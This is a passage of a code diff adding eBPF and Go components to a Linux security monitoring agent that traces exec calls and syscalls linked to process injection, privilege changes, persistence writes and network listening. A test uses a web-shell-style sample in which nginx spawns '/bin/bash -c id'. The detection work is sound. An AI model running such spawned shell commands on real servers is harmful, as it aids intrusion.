static long (*bpf_perf_event_output)(void *ctx, void *map, u64 flags,
|
||||
void *data, u64 size) = (void *)25;
|
||||
static u64 (*bpf_get_current_task)(void) = (void *)35;
|
||||
|
||||
#define bpf_core_read(dst, size, src) \
|
||||
bpf_probe_read_kernel((dst), (size), \
|
||||
(const void *)__builtin_preserve_access_index(src))
|
||||
|
||||
SEC("tracepoint/raw_syscalls/sys_enter")
|
||||
int trace_sys_enter(struct trace_event_raw_sys_enter *ctx)
|
||||
{
|
||||
u64 syscall_number = ctx->id;
|
||||
u32 *syscall_id = bpf_map_lookup_elem(&monitored_syscalls, &syscall_number);
|
||||
struct syscall_event event = {};
|
||||
struct task_struct *task;
|
||||
struct task_struct *parent = 0;
|
||||
|
||||
if (!syscall_id)
|
||||
return 0;
|
||||
|
||||
task = (struct task_struct *)bpf_get_current_task();
|
||||
event.pid = bpf_get_current_pid_tgid() >> 32;
|
||||
event.uid = bpf_get_current_uid_gid();
|
||||
event.syscall_id = *syscall_id;
|
||||
bpf_core_read(&parent, sizeof(parent), &task->real_parent);
|
||||
if (parent)
|
||||
bpf_core_read(&event.ppid, sizeof(event.ppid), &parent->tgid);
|
||||
bpf_get_current_comm(event.comm, sizeof(event.comm));
|
||||
|
||||
// Canonical ID 21 covers write/writev/pwrite variants. Keep the hot path
|
||||
// in-kernel and emit only for process names that can satisfy the
|
||||
// persistence-write host rule.
|
||||
if (*syscall_id >= 21 && *syscall_id <= 26 &&
|
||||
!bpf_map_lookup_elem(&monitored_host_comms, event.comm))
|
||||
return 0;
|
||||
|
||||
// Match the Python BCC transport's semantic argument layout rather than
|
||||
// exposing pointer-only raw ABI slots in alert keys and details.
|
||||
if (*syscall_id == 3) { // memfd_create(name, flags)
|
||||
event.args[0] = ctx->args[1];
|
||||
bpf_probe_read_user_str(event.text, sizeof(event.text),
|
||||
(const void *)ctx->args[0]);
|
||||
} else if (*syscall_id == 7 || *syscall_id == 8) { // process_vm_{readv,writev}
|
||||
event.args[0] = ctx->args[0]; // target pid
|
||||
event.args[1] = ctx->args[2]; // local iovec count
|
||||
event.args[2] = ctx->args[4]; // remote iovec count
|
||||
event.args[3] = ctx->args[5]; // flags
|
||||
} else if (*syscall_id == 14) { // chmod(path, mode)
|
||||
event.args[0] = ctx->args[1];
|
||||
event.args[2] = (u64)-100; // AT_FDCWD
|
||||
bpf_probe_read_user_str(event.text, sizeof(event.text),
|
||||
(const void *)ctx->args[0]);
|
||||
} else if (*syscall_id == 15) { // fchmodat(dirfd, path, mode)
|
||||
event.args[0] = ctx->args[2];
|
||||
event.args[2] = ctx->args[0];
|
||||
bpf_probe_read_user_str(event.text, sizeof(event.text),
|
||||
(const void *)ctx->args[1]);
|
||||
} else if (*syscall_id == 16 || *syscall_id == 17) { // chown/lchown(path, uid, gid)
|
||||
event.args[0] = ctx->args[1];
|
||||
event.args[1] = ctx->args[2];
|
||||
event.args[2] = (u64)-100; // AT_FDCWD
|
||||
bpf_probe_read_user_str(event.text, sizeof(event.text),
|
||||
(const void *)ctx->args[0]);
|
||||
} else if (*syscall_id == 18) { // fchownat(dirfd, path, uid, gid)
|
||||
event.args[0] = ctx->args[2];
|
||||
event.args[1] = ctx->args[3];
|
||||
event.args[2] = ctx->args[0];
|
||||
bpf_probe_read_user_str(event.text, sizeof(event.text),
|
||||
(const void *)ctx->args[1]);
|
||||
} else if (*syscall_id == 19) { // capset(header, data[2])
|
||||
u32 effective_low = 0;
|
||||
u32 effective_high = 0;
|
||||
const char *data = (const char *)ctx->args[1];
|
||||
bpf_probe_read_user(&effective_low, sizeof(effective_low), data);
|
||||
bpf_probe_read_user(&effective_high, sizeof(effective_high), data + 12);
|
||||
event.args[0] = effective_low | ((u64)effective_high << 32);
|
||||
} else if (*syscall_id == 22 || *syscall_id == 23) { // connect/bind(fd, sockaddr, len)
|
||||
const char *address = (const char *)ctx->args[1];
|
||||
u16 family = 0;
|
||||
u16 port = 0;
|
||||
u32 ipv4 = 0;
|
||||
bpf_probe_read_user(&family, sizeof(family), address);
|
||||
bpf_probe_read_user(&port, sizeof(port), address + 2);
|
||||
event.args[0] = family;
|
||||
event.args[3] = ctx->args[0];
|
||||
#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
|
||||
event.args[1] = __builtin_bswap16(port);
|
||||
#else
|
||||
event.args[1] = port;
|
||||
#endif
|
||||
if (family == 2) {
|
||||
bpf_probe_read_user(&ipv4, sizeof(ipv4), address + 4);
|
||||
event.args[2] = ipv4;
|
||||
} else if (family == 10) {
|
||||
bpf_probe_read_user(event.text, 16, address + 8);
|
||||
}
|
||||
} else if (*syscall_id >= 24 && *syscall_id <= 26) { // listen/accept/accept4
|
||||
event.args[3] = ctx->args[0];
|
||||
} else {
|
||||
#pragma unroll
|
||||
for (int i = 0; i < 6; i++)
|
||||
event.args[i] = ctx->args[i];
|
||||
}
|
||||
|
||||
if (*syscall_id >= 21 && *syscall_id <= 26) {
|
||||
u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
bpf_map_update_elem(&pending_returns, &pid_tgid, &event, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
bpf_perf_event_output(ctx, &syscall_events, BPF_F_CURRENT_CPU, &event, sizeof(event));
|
||||
return 0;
|
||||
}
|
||||
|
||||
SEC("tracepoint/raw_syscalls/sys_exit")
|
||||
int trace_sys_exit(struct trace_event_raw_sys_exit *ctx)
|
||||
{
|
||||
u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
struct syscall_event *event = bpf_map_lookup_elem(&pending_returns, &pid_tgid);
|
||||
|
||||
if (!event)
|
||||
return 0;
|
||||
if (event->syscall_id == 25 || event->syscall_id == 26)
|
||||
event->args[3] = ctx->ret;
|
||||
// Every write-family syscall returns its byte count, so the shared
|
||||
// canonical event is confirmed only when at least one byte was written.
|
||||
if ((event->syscall_id == 21 && ctx->ret > 0) ||
|
||||
(event->syscall_id >= 22 && event->syscall_id <= 24 && ctx->ret == 0) ||
|
||||
((event->syscall_id == 25 || event->syscall_id == 26) && ctx->ret >= 0))
|
||||
bpf_perf_event_output(ctx, &syscall_events, BPF_F_CURRENT_CPU,
|
||||
event, sizeof(*event));
|
||||
bpf_map_delete_elem(&pending_returns, &pid_tgid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char LICENSE[] SEC("license") = "GPL";
|
||||
131
go-agent/internal/ebpfsource/exec.go
Normal file
131
go-agent/internal/ebpfsource/exec.go
Normal file
|
|
@ -0,0 +1,131 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/cilium/ebpf/link"
|
||||
"github.com/cilium/ebpf/perf"
|
||||
"github.com/cilium/ebpf/rlimit"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
|
||||
)
|
||||
|
||||
// ExecSource owns the Go-native exec tracepoint and perf reader. Load errors
|
||||
// are returned to the caller so startup can log and fall back to polling.
|
||||
type ExecSource struct {
|
||||
objects execObjects
|
||||
link link.Link
|
||||
reader *perf.Reader
|
||||
}
|
||||
|
||||
// execEventRaw mirrors struct exec_event in bpf/exec.bpf.c. Keeping the wire
|
||||
// layout explicit makes changes to the kernel/user-space ABI reviewable.
|
||||
type execEventRaw struct {
|
||||
PID uint32
|
||||
PPID uint32
|
||||
UID uint32
|
||||
ParentComm [16]int8
|
||||
Filename [128]int8
|
||||
Arg1 [128]int8
|
||||
Arg2 [128]int8
|
||||
}
|
||||
|
||||
// LostSamplesError reports perf-buffer pressure without making it impossible
|
||||
// for the caller to continue reading later events.
|
||||
type LostSamplesError struct {
|
||||
Count uint64
|
||||
}
|
||||
|
||||
func (e LostSamplesError) Error() string {
|
||||
return fmt.Sprintf("exec perf buffer lost %d samples", e.Count)
|
||||
}
|
||||
|
||||
func OpenExecSource() (*ExecSource, error) {
|
||||
// Required by older kernels. On newer memcg-accounted kernels this may fail
|
||||
// in an otherwise capable service sandbox, so attempt the load regardless
|
||||
// and preserve both errors only when loading also fails.
|
||||
memlockErr := rlimit.RemoveMemlock()
|
||||
var objects execObjects
|
||||
if err := loadExecObjects(&objects, nil); err != nil {
|
||||
if memlockErr != nil {
|
||||
return nil, fmt.Errorf("load exec BPF objects: %w (memlock adjustment: %v)", err, memlockErr)
|
||||
}
|
||||
return nil, fmt.Errorf("load exec BPF objects: %w", err)
|
||||
}
|
||||
attached, err := link.Tracepoint("syscalls", "sys_enter_execve", objects.TraceExecve, nil)
|
||||
if err != nil {
|
||||
objects.Close()
|
||||
return nil, fmt.Errorf("attach exec tracepoint: %w", err)
|
||||
}
|
||||
reader, err := perf.NewReader(objects.Events, 64*4096)
|
||||
if err != nil {
|
||||
attached.Close()
|
||||
objects.Close()
|
||||
return nil, fmt.Errorf("open exec perf reader: %w", err)
|
||||
}
|
||||
return &ExecSource{objects: objects, link: attached, reader: reader}, nil
|
||||
}
|
||||
|
||||
func (s *ExecSource) Read() (events.ExecEvent, error) {
|
||||
record, err := s.reader.Read()
|
||||
if err != nil {
|
||||
return events.ExecEvent{}, err
|
||||
}
|
||||
if record.LostSamples != 0 {
|
||||
return events.ExecEvent{}, LostSamplesError{Count: record.LostSamples}
|
||||
}
|
||||
return decodeExecSample(record.RawSample)
|
||||
}
|
||||
|
||||
func decodeExecSample(sample []byte) (events.ExecEvent, error) {
|
||||
var raw execEventRaw
|
||||
if len(sample) != binary.Size(raw) {
|
||||
return events.ExecEvent{}, fmt.Errorf("exec event size %d, want %d", len(sample), binary.Size(raw))
|
||||
}
|
||||
if err := binary.Read(bytes.NewReader(sample), binary.NativeEndian, &raw); err != nil {
|
||||
return events.ExecEvent{}, fmt.Errorf("decode exec event: %w", err)
|
||||
}
|
||||
argv := make([]string, 0, 2)
|
||||
if value := cString(raw.Arg1[:]); value != "" {
|
||||
argv = append(argv, value)
|
||||
}
|
||||
if value := cString(raw.Arg2[:]); value != "" {
|
||||
argv = append(argv, value)
|
||||
}
|
||||
return events.ExecEvent{
|
||||
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
ParentComm: cString(raw.ParentComm[:]), Filename: cString(raw.Filename[:]),
|
||||
Argv: argv,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (s *ExecSource) Close() error {
|
||||
var failures []error
|
||||
if s.reader != nil {
|
||||
failures = append(failures, s.reader.Close())
|
||||
}
|
||||
if s.link != nil {
|
||||
failures = append(failures, s.link.Close())
|
||||
}
|
||||
failures = append(failures, s.objects.Close())
|
||||
return errors.Join(failures...)
|
||||
}
|
||||
|
||||
func cString(raw []int8) string {
|
||||
value := make([]byte, 0, len(raw))
|
||||
for _, char := range raw {
|
||||
if char == 0 {
|
||||
break
|
||||
}
|
||||
value = append(value, byte(char))
|
||||
}
|
||||
return string(value)
|
||||
}
|
||||
|
||||
var _ io.Closer = (*ExecSource)(nil)
|
||||
141
go-agent/internal/ebpfsource/exec_bpfeb.go
Normal file
141
go-agent/internal/ebpfsource/exec_bpfeb.go
Normal file
|
|
@ -0,0 +1,141 @@
|
|||
// Code generated by bpf2go; DO NOT EDIT.
|
||||
//go:build mips || mips64 || ppc64 || s390x
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/cilium/ebpf"
|
||||
)
|
||||
|
||||
// Names of all BPF objects in the ELF.
|
||||
//
|
||||
// Used for safe lookups in a Collection or CollectionSpec.
|
||||
const (
|
||||
execMapEvents = "events"
|
||||
execProgTraceExecve = "trace_execve"
|
||||
)
|
||||
|
||||
// loadExec returns the embedded CollectionSpec for exec.
|
||||
func loadExec() (*ebpf.CollectionSpec, error) {
|
||||
reader := bytes.NewReader(_ExecBytes)
|
||||
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("can't load exec: %w", err)
|
||||
}
|
||||
|
||||
return spec, err
|
||||
}
|
||||
|
||||
// loadExecObjects loads exec and converts it into a struct.
|
||||
//
|
||||
// The following types are suitable as obj argument:
|
||||
//
|
||||
// *execObjects
|
||||
// *execPrograms
|
||||
// *execMaps
|
||||
//
|
||||
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
|
||||
func loadExecObjects(obj any, opts *ebpf.CollectionOptions) error {
|
||||
spec, err := loadExec()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return spec.LoadAndAssign(obj, opts)
|
||||
}
|
||||
|
||||
// execSpecs contains maps and programs before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type execSpecs struct {
|
||||
execProgramSpecs
|
||||
execMapSpecs
|
||||
execVariableSpecs
|
||||
}
|
||||
|
||||
// execProgramSpecs contains programs before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type execProgramSpecs struct {
|
||||
TraceExecve *ebpf.ProgramSpec `ebpf:"trace_execve"`
|
||||
}
|
||||
|
||||
// execMapSpecs contains maps before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type execMapSpecs struct {
|
||||
Events *ebpf.MapSpec `ebpf:"events"`
|
||||
}
|
||||
|
||||
// execVariableSpecs contains global variables before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type execVariableSpecs struct {
|
||||
}
|
||||
|
||||
// execObjects contains all objects after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type execObjects struct {
|
||||
execPrograms
|
||||
execMaps
|
||||
execVariables
|
||||
}
|
||||
|
||||
func (o *execObjects) Close() error {
|
||||
return _ExecClose(
|
||||
&o.execPrograms,
|
||||
&o.execMaps,
|
||||
)
|
||||
}
|
||||
|
||||
// execMaps contains all maps after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type execMaps struct {
|
||||
Events *ebpf.Map `ebpf:"events"`
|
||||
}
|
||||
|
||||
func (m *execMaps) Close() error {
|
||||
return _ExecClose(
|
||||
m.Events,
|
||||
)
|
||||
}
|
||||
|
||||
// execVariables contains all global variables after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type execVariables struct {
|
||||
}
|
||||
|
||||
// execPrograms contains all programs after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type execPrograms struct {
|
||||
TraceExecve *ebpf.Program `ebpf:"trace_execve"`
|
||||
}
|
||||
|
||||
func (p *execPrograms) Close() error {
|
||||
return _ExecClose(
|
||||
p.TraceExecve,
|
||||
)
|
||||
}
|
||||
|
||||
func _ExecClose(closers ...io.Closer) error {
|
||||
for _, closer := range closers {
|
||||
if err := closer.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Do not access this directly.
|
||||
//
|
||||
//go:embed exec_bpfeb.o
|
||||
var _ExecBytes []byte
|
||||
BIN
go-agent/internal/ebpfsource/exec_bpfeb.o
Normal file
BIN
go-agent/internal/ebpfsource/exec_bpfeb.o
Normal file
Binary file not shown.
141
go-agent/internal/ebpfsource/exec_bpfel.go
Normal file
141
go-agent/internal/ebpfsource/exec_bpfel.go
Normal file
|
|
@ -0,0 +1,141 @@
|
|||
// Code generated by bpf2go; DO NOT EDIT.
|
||||
//go:build 386 || amd64 || arm || arm64 || loong64 || mips64le || mipsle || ppc64le || riscv64 || wasm
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/cilium/ebpf"
|
||||
)
|
||||
|
||||
// Names of all BPF objects in the ELF.
|
||||
//
|
||||
// Used for safe lookups in a Collection or CollectionSpec.
|
||||
const (
|
||||
execMapEvents = "events"
|
||||
execProgTraceExecve = "trace_execve"
|
||||
)
|
||||
|
||||
// loadExec returns the embedded CollectionSpec for exec.
|
||||
func loadExec() (*ebpf.CollectionSpec, error) {
|
||||
reader := bytes.NewReader(_ExecBytes)
|
||||
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("can't load exec: %w", err)
|
||||
}
|
||||
|
||||
return spec, err
|
||||
}
|
||||
|
||||
// loadExecObjects loads exec and converts it into a struct.
|
||||
//
|
||||
// The following types are suitable as obj argument:
|
||||
//
|
||||
// *execObjects
|
||||
// *execPrograms
|
||||
// *execMaps
|
||||
//
|
||||
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
|
||||
func loadExecObjects(obj any, opts *ebpf.CollectionOptions) error {
|
||||
spec, err := loadExec()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return spec.LoadAndAssign(obj, opts)
|
||||
}
|
||||
|
||||
// execSpecs contains maps and programs before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type execSpecs struct {
|
||||
execProgramSpecs
|
||||
execMapSpecs
|
||||
execVariableSpecs
|
||||
}
|
||||
|
||||
// execProgramSpecs contains programs before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type execProgramSpecs struct {
|
||||
TraceExecve *ebpf.ProgramSpec `ebpf:"trace_execve"`
|
||||
}
|
||||
|
||||
// execMapSpecs contains maps before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type execMapSpecs struct {
|
||||
Events *ebpf.MapSpec `ebpf:"events"`
|
||||
}
|
||||
|
||||
// execVariableSpecs contains global variables before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type execVariableSpecs struct {
|
||||
}
|
||||
|
||||
// execObjects contains all objects after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type execObjects struct {
|
||||
execPrograms
|
||||
execMaps
|
||||
execVariables
|
||||
}
|
||||
|
||||
func (o *execObjects) Close() error {
|
||||
return _ExecClose(
|
||||
&o.execPrograms,
|
||||
&o.execMaps,
|
||||
)
|
||||
}
|
||||
|
||||
// execMaps contains all maps after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type execMaps struct {
|
||||
Events *ebpf.Map `ebpf:"events"`
|
||||
}
|
||||
|
||||
func (m *execMaps) Close() error {
|
||||
return _ExecClose(
|
||||
m.Events,
|
||||
)
|
||||
}
|
||||
|
||||
// execVariables contains all global variables after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type execVariables struct {
|
||||
}
|
||||
|
||||
// execPrograms contains all programs after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type execPrograms struct {
|
||||
TraceExecve *ebpf.Program `ebpf:"trace_execve"`
|
||||
}
|
||||
|
||||
func (p *execPrograms) Close() error {
|
||||
return _ExecClose(
|
||||
p.TraceExecve,
|
||||
)
|
||||
}
|
||||
|
||||
func _ExecClose(closers ...io.Closer) error {
|
||||
for _, closer := range closers {
|
||||
if err := closer.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Do not access this directly.
|
||||
//
|
||||
//go:embed exec_bpfel.o
|
||||
var _ExecBytes []byte
|
||||
BIN
go-agent/internal/ebpfsource/exec_bpfel.o
Normal file
BIN
go-agent/internal/ebpfsource/exec_bpfel.o
Normal file
Binary file not shown.
52
go-agent/internal/ebpfsource/exec_test.go
Normal file
52
go-agent/internal/ebpfsource/exec_test.go
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDecodeExecSample(t *testing.T) {
|
||||
raw := execEventRaw{PID: 42, PPID: 7, UID: 1000}
|
||||
copyCString(raw.ParentComm[:], "nginx")
|
||||
copyCString(raw.Filename[:], "/bin/bash")
|
||||
copyCString(raw.Arg1[:], "-c")
|
||||
copyCString(raw.Arg2[:], "id")
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
event, err := decodeExecSample(sample.Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if event.PID != 42 || event.PPID != 7 || event.UID != 1000 ||
|
||||
event.ParentComm != "nginx" || event.Filename != "/bin/bash" ||
|
||||
len(event.Argv) != 2 || event.Argv[0] != "-c" || event.Argv[1] != "id" {
|
||||
t.Fatalf("unexpected event: %#v", event)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeExecSampleRejectsWrongSize(t *testing.T) {
|
||||
if _, err := decodeExecSample([]byte{1, 2, 3}); err == nil {
|
||||
t.Fatal("expected size error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCStringStopsAtNUL(t *testing.T) {
|
||||
if got := cString([]int8{'a', 'b', 0, 'c'}); got != "ab" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func copyCString(destination []int8, value string) {
|
||||
for index, char := range []byte(value) {
|
||||
if index >= len(destination)-1 {
|
||||
break
|
||||
}
|
||||
destination[index] = int8(char)
|
||||
}
|
||||
}
|
||||
9
go-agent/internal/ebpfsource/generate.go
Normal file
9
go-agent/internal/ebpfsource/generate.go
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package ebpfsource
|
||||
|
||||
// Generate checked-in object bindings so normal builds need neither clang nor
|
||||
// kernel headers. The tracepoint ABI is stable and avoids host-specific
|
||||
// generated vmlinux.h while the loader remains pure Go.
|
||||
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go@v0.22.0 -cc clang -cflags "-O2 -g -Wall -Werror" exec bpf/exec.bpf.c
|
||||
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go@v0.22.0 -cc clang -cflags "-O2 -g -Wall -Werror" syscall bpf/syscall.bpf.c
|
||||
75
go-agent/internal/ebpfsource/spec_test.go
Normal file
75
go-agent/internal/ebpfsource/spec_test.go
Normal file
|
|
@ -0,0 +1,75 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/cilium/ebpf"
|
||||
"github.com/cilium/ebpf/btf"
|
||||
)
|
||||
|
||||
func TestEmbeddedExecCollectionShape(t *testing.T) {
|
||||
specification, err := loadExec()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
program := specification.Programs["trace_execve"]
|
||||
eventsMap := specification.Maps["events"]
|
||||
if program == nil || program.Type != ebpf.TracePoint || program.SectionName != "tracepoint/syscalls/sys_enter_execve" {
|
||||
t.Fatalf("unexpected exec program: %#v", program)
|
||||
}
|
||||
if eventsMap == nil || eventsMap.Type != ebpf.PerfEventArray {
|
||||
t.Fatalf("unexpected exec events map: %#v", eventsMap)
|
||||
}
|
||||
if countCORERelocations(program) < 2 {
|
||||
t.Fatal("exec program must retain parent task CO-RE relocations")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEmbeddedSyscallCollectionShape(t *testing.T) {
|
||||
specification, err := loadSyscall()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
program := specification.Programs["trace_sys_enter"]
|
||||
exitProgram := specification.Programs["trace_sys_exit"]
|
||||
filterMap := specification.Maps["monitored_syscalls"]
|
||||
writeCommsMap := specification.Maps["monitored_host_comms"]
|
||||
pendingWritesMap := specification.Maps["pending_returns"]
|
||||
eventsMap := specification.Maps["syscall_events"]
|
||||
if program == nil || program.Type != ebpf.TracePoint || program.SectionName != "tracepoint/raw_syscalls/sys_enter" {
|
||||
t.Fatalf("unexpected syscall program: %#v", program)
|
||||
}
|
||||
if exitProgram == nil || exitProgram.Type != ebpf.TracePoint || exitProgram.SectionName != "tracepoint/raw_syscalls/sys_exit" {
|
||||
t.Fatalf("unexpected syscall exit program: %#v", exitProgram)
|
||||
}
|
||||
if filterMap == nil || filterMap.Type != ebpf.Hash || filterMap.MaxEntries != 64 ||
|
||||
filterMap.KeySize != 8 || filterMap.ValueSize != 4 {
|
||||
t.Fatalf("unexpected syscall filter map: %#v", filterMap)
|
||||
}
|
||||
if writeCommsMap == nil || writeCommsMap.Type != ebpf.Hash || writeCommsMap.MaxEntries != 64 ||
|
||||
writeCommsMap.KeySize != 16 || writeCommsMap.ValueSize != 4 {
|
||||
t.Fatalf("unexpected write comm map: %#v", writeCommsMap)
|
||||
}
|
||||
if pendingWritesMap == nil || pendingWritesMap.Type != ebpf.Hash || pendingWritesMap.MaxEntries != 4096 ||
|
||||
pendingWritesMap.KeySize != 8 {
|
||||
t.Fatalf("unexpected pending writes map: %#v", pendingWritesMap)
|
||||
}
|
||||
if eventsMap == nil || eventsMap.Type != ebpf.PerfEventArray {
|
||||
t.Fatalf("unexpected syscall events map: %#v", eventsMap)
|
||||
}
|
||||
if countCORERelocations(program) < 2 {
|
||||
t.Fatal("syscall program must retain parent task CO-RE relocations")
|
||||
}
|
||||
}
|
||||
|
||||
func countCORERelocations(program *ebpf.ProgramSpec) int {
|
||||
count := 0
|
||||
for index := range program.Instructions {
|
||||
if btf.CORERelocationMetadata(&program.Instructions[index]) != nil {
|
||||
count++
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
476
go-agent/internal/ebpfsource/syscall.go
Normal file
476
go-agent/internal/ebpfsource/syscall.go
Normal file
|
|
@ -0,0 +1,476 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/cilium/ebpf"
|
||||
"github.com/cilium/ebpf/link"
|
||||
"github.com/cilium/ebpf/perf"
|
||||
"github.com/cilium/ebpf/rlimit"
|
||||
"golang.org/x/sys/unix"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
|
||||
)
|
||||
|
||||
const (
|
||||
syscallMprotect uint32 = iota + 1
|
||||
syscallMmap
|
||||
syscallMemfdCreate
|
||||
syscallPtrace
|
||||
syscallPrctl
|
||||
syscallSeccomp
|
||||
syscallProcessVMReadv
|
||||
syscallProcessVMWritev
|
||||
syscallMlock
|
||||
syscallMlock2
|
||||
syscallMlockall
|
||||
hostSetuid
|
||||
hostSetgid
|
||||
hostChmod
|
||||
hostFchmodat
|
||||
hostChown
|
||||
hostLchown
|
||||
hostFchownat
|
||||
hostCapset
|
||||
hostFinitModule
|
||||
hostFileWrite
|
||||
hostTCPConnect
|
||||
hostBind
|
||||
hostListen
|
||||
hostAccept
|
||||
hostAccept4
|
||||
)
|
||||
|
||||
var syscallNames = map[uint32]string{
|
||||
syscallMprotect: "mprotect",
|
||||
syscallMmap: "mmap",
|
||||
syscallMemfdCreate: "memfd_create",
|
||||
syscallPtrace: "ptrace",
|
||||
syscallPrctl: "prctl",
|
||||
syscallSeccomp: "seccomp",
|
||||
syscallProcessVMReadv: "process_vm_readv",
|
||||
syscallProcessVMWritev: "process_vm_writev",
|
||||
syscallMlock: "mlock",
|
||||
syscallMlock2: "mlock2",
|
||||
syscallMlockall: "mlockall",
|
||||
}
|
||||
|
||||
type syscallEventRaw struct {
|
||||
PID uint32
|
||||
PPID uint32
|
||||
UID uint32
|
||||
SyscallID uint32
|
||||
Comm [16]int8
|
||||
Args [6]uint64
|
||||
Text [80]int8
|
||||
}
|
||||
|
||||
type SyscallLostSamplesError struct {
|
||||
Count uint64
|
||||
}
|
||||
|
||||
// SecurityEvent is the typed result of the shared filtered syscall transport.
|
||||
// Exactly one field is populated.
|
||||
type SecurityEvent struct {
|
||||
Syscall *events.SyscallEvent
|
||||
Host *events.HostEvent
|
||||
pathDirFD int64
|
||||
}
|
||||
|
||||
func (e SyscallLostSamplesError) Error() string {
|
||||
return fmt.Sprintf("syscall perf buffer lost %d samples", e.Count)
|
||||
}
|
||||
|
||||
// SyscallSource filters raw syscall entry events in-kernel using a map of
|
||||
// architecture-specific syscall numbers, then exposes transport-neutral
|
||||
// SyscallEvent values to the existing rule engine.
|
||||
type SyscallSource struct {
|
||||
objects syscallObjects
|
||||
links []link.Link
|
||||
reader *perf.Reader
|
||||
procRoot string
|
||||
}
|
||||
|
||||
func OpenSyscallSource(procRoot string) (*SyscallSource, error) {
|
||||
if procRoot == "" {
|
||||
procRoot = "/proc"
|
||||
}
|
||||
numbers := monitoredSyscalls()
|
||||
